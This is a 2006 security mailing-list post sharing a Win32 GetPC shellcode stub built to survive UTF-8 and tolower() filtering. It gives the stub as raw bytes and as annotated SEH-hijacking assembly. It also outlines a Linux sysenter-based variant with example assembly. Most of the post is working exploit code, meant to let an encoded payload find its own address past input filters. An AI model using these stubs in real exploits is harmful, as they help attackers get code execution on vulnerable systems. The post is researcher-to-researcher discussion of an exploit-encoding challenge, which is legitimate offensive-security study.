[Dailydave] UTF-8 + tolower getpc stubs
Aaron Adams
aadams at securityfocus.com
Fri Oct 13 21:58:58 Local tim 2006
Hey all,
Anyone that read the most recent Uninformed journal probably saw Skape's
Implementing a Custom x86 Encoder paper [1]. In it he presents a little
challenge for implementing a getpc stub that is UTF-8 and tolower()
compliant. The typical jmp/call, fsetenv, and Skylineds alpha stuff
won't work because of the restrictions. I've included my Win32 solution
at the bottom of this message. It uses the same SEH-based method used by
Skylined's alpha. It hasn't been optimized, but if someone does or has
some suggestions feel free to send me a message.
Also, it looks like it's possible to do one on Linux too. Originally I
was planning on using the sigaction() technique using sysenter (opcodes
0x0f 0x34) instead of int 0x80, however because of the way sysenter is
implemented it's not possible afaict. The reason being is that on Linux
anyway, sysenter is meant to be invoked via the __kernel_vsyscall
wrapper through the use of something like call %gs:<offset>. As such,
the SYSENTER_RETURN code block invoked after the syscall is finished
does a pop, pop, pop, ret from the userland stack. As seen here from the
linux-gate vdso:
ffffe410: 5d pop %ebp
ffffe411: 5a pop %edx
ffffe412: 59 pop %ecx
ffffe413: c3 ret
This means that, to actually return to your code that did sysenter from
sigaction and then trigger an exception with an address you want, you
have to be able to supply a return address for the ret shown above,
implying you already know where your code is or are capable of obtaining
it.
The only thing I could come up with is, if you push your entire decoder
stub / encoded payload on the stack (adding 25% to its current size),
set up the return address to be the address of your code on the stack,
and invoke a "dummy" syscall (like getpid) via sysenter. This would
return you to your code on the stack on thus give you eip via esp, and
you could work with it from there. Here is a little example:
push $0xfeeb4040 # decoder/encoded payload pushed here
pusha # push 3 dwords + ret (esp) for sysenter
pusha
pop %esi
popa # ebp = esp
push $20
imul $0x1, (%esp), %eax # getpid()
pop %esi
sysenter
If you run that, you'll be in the infinite loop and can see that
esp+pusha stuff == eip.
Anyway, just some ideas. I'd love to hear if anyone else has done
something similar.
Aaron
1. http://uninformed.org/index.cgi?v=5&a=3&t=txt
----------------------------------------------------
# Win32 UTF-8 + tolower() GetPC
#"\x68\x04\x02\x30\x62\x6a\x61\x6b\x1c\x24\x01\x5e"
#"\x01\x5c\x24\x03\x6a\x20\x6b\x1c\x24\x01\x5e\x01"
#"\x5c\x24\x02\x68\x6b\x04\x24\x01\x68\x01\x5e\x5e"
#"\x5e\x68\x5e\x6b\x24\x24\x60\x6a\x01\x6a\x01\x61"
#"\x6a\x20\x6b\x1c\x24\x01\x6a\x20\x28\x1c\x24\x6b"
#"\x1c\x24\x01\x6b\x0c\x24\x01\x60\x5e\x5e\x5e\x5e"
#"\x64\x03\x19\x64\x29\x19\x64\x01\x21\x31\x09"
# SEH handler code:
# 5e pop %esi
# 6b 24 24 01 imul $0x1,(%esp),%esp #CONTEXT
# 5e pop %esi
# 5e pop %esi
# 5e pop %esi
# 6b 04 24 01 imul $0x1,(%esp),%eax #FAULT ADDR
# 04 02 add $0x2,%al
# 50 push %eax #PC
# c3 ret
pushl $0x62300204
push $0x61
imul $0x1, (%esp), %ebx
pop %esi
add %ebx, 0x3(%esp) # fixup ret
push $0x20
imul $0x1, (%esp), %ebx
pop %esi
add %ebx, 0x2(%esp) # fixup push
pushl $0x0124046b
pushl $0x5e5e5e01
pushl $0x24246b5e
# get address of SEH code from esp
pusha
push $0x1
push $0x1
popa # edx == address of handler
push $0x20
imul $0x1, (%esp), %ebx
push $0x20
subb %bl, (%esp)
imul $0x01, (%esp), %ebx
imul $0x01, (%esp), %ecx
pusha
pop %esi
pop %esi
pop %esi
pop %esi # esp == SEH record
add %fs:(%ecx), %ebx
sub %ebx, %fs:(%ecx)
add %esp, %fs:(%ecx) # SEH == our record
xor %ecx, (%ecx)
# UTF-8 / tolower decoder goes here
decoder:
More information about the Dailydave
mailing list